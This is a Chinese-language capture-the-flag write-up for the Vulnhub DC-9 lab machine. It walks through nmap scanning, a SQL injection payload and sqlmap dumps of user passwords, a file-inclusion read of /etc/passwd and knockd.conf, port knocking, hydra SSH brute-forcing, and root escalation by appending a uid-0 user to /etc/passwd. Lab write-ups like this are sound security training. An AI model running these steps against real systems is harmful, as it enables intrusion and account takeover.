目录
一、环境搭建
二、信息收集
1、主机发现
2、指纹识别
三、漏洞复现
1、dirsearch目录探测
2、sqlmap注入测试
3、文件包含漏洞
4、Knockd敲门服务
5、ssh爆破
6、提权
四、提取flag
一、环境搭建
Vulnhub靶机下载:
官网地址:https://download.vulnhub.com/dc/DC-9.zip
虚拟机:VM虚拟机 或者VBOX 导入即可
网络环境:NAT
介绍:vulnhub是个提供各种漏洞平台的综合靶场,拿到root权限才可以发现最终的flag。
二、信息收集
1、主机发现
nmap -sP 192.168.176.0/24
查看服务
nmap -A -p- -v 192.168.176.145
进入网站192.168.176.145
2、指纹识别
whatweb http://192.168.176.145/
没有发现有用信息
三、漏洞复现
1、dirsearch目录探测
dirsearch -u http://192.168.176.145/ -e php -x 400,404,503,403
http://192.168.176.145/manage.php 后台地址
2、sqlmap注入测试
发现搜索页面存在SQL注入,
payload:1' or 1=1 #
现在直接使用sqlmap工具来进行SQL注入攻击
sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -dbs
sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D users -T UserDetails -C username,password -dump
跑出一些账号密码信息 保存一下 密码如下:
| username | password |
+-----------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0 |
再跑另外一个看一下
sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D Staff -T StaffDetails -dump
sqlmap -u "http://192.168.176.145/results.php" -data "search=1" -D Staff -T Users -C Password,Username -dump
856f5de590ef37314e7c3bdf6f8a66dc | admin
这里跑出一个admin账号,密码是md5加密
也可以输入yes sqlmap自带的库碰撞
MD5免费在线解密破解_MD5在线加密-SOMD5 在线解密网站,成功拿下
密码:transorbital1
3、文件包含漏洞
看了半天,只看到这个关键词 ,存在文件包含漏洞
http://192.168.176.145/manage.php/?file=//../../../../etc/passwd
到这里 没思路了 上网看了一下思路
回头看 上面nmap扫描的这个22/tcp filtered ssh # 系统默认开放的,但是通过策略关掉了,因为被策略保护 处于关闭状态,Knockd隐藏SSH
但是这里给出的用户,密码信息 应该是可以 爆破一下ssh
4、Knockd敲门服务
4.1.利用LFI看看konckd的配置文件,可以fuzz一下/etc 目录,一般的配置文件都这个目录里。
payload:file=../../../../../etc/knockd.conf
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
找到了 特定的端口信息,7469,8475,9842,按顺序敲敲门
4.2.nmap开启敲门
第一种方法:
nmap -p 7469 192.168.176.145
nmap -p 8475 192.168.176.145
nmap -p 9842 192.168.176.145
第二种方法:
for x in 7469 8475 9842; do nc 192.168.176.145 $x;done
4.3.现在重新nmap扫描服务看看 直接打开了
nmap -A -p- -v 192.168.176.145
5、ssh爆破
5.1.前面sqlmap跑的一个表 整理成字典
5.2.hy爆破
hydra -L username.txt mark -P pass.txt ssh://192.168.176.145
跑出了两个账户
login: joeyt password: Passw0rd login: janitor password: Ilovepeepee
ssh joeyt@192.168.176.145 -p 22 ssh连接
在janitor用户发现了一个隐藏的文件夹
cd .secrets-for-putin
ls -a
存在一些密码,写入密码字典,继续爆破 之前没有出来的那些账号
5.3.ssh连接fredf
login: fredf password: B4-Tru3-001
6、提权
接下来提权 查看有无sudo -l权限
sudo -l
发现fredf可以以root的身份执行
(root) NOPASSWD: /opt/devstuff/dist/test/test
是一个python文件 ,文件的意思是,读取第一个文件追加到第二个文件上
利用find指令找到这个python文件
命令:
find / -name "test.py" 2>/dev/null 寻找叫做test.py的文件
接着在/opt/devstuff/发现python源文件:test.py
代码如下:
import sys
if len (sys.argv) != 3 :print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
这是一个可以写入文件的一个python程序,我们可以以root权限写入任意一个文件
所以我们接下来要以root权限在/etc/passwd中写入一个具有root权限的用户
因为在/etc/passwd中的密码都是加密过的,我们也要设计一个加密的密码
设置密码命令:
openssl passwd -1(md5加密算法) -salt(用一个随机数去加盐) admin 123456
openssl passwd -1 -salt admin 123456
生成密码:$1$admin$LClYcRe.ee8dQwgrFc5nz.
先把这些写入临时文件,再用test.py读取文件,追加到passwd里面
1、写入临时文件
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:/root:/bin/bash' >>/tmp/mm
2、python程序追加到etc/passwd
sudo ./test /tmp/mm.txt /etc/passwd
3、切换用户看看
su admin
4、交互式shell
python -c "import pty;pty.spawn('/bin/bash')"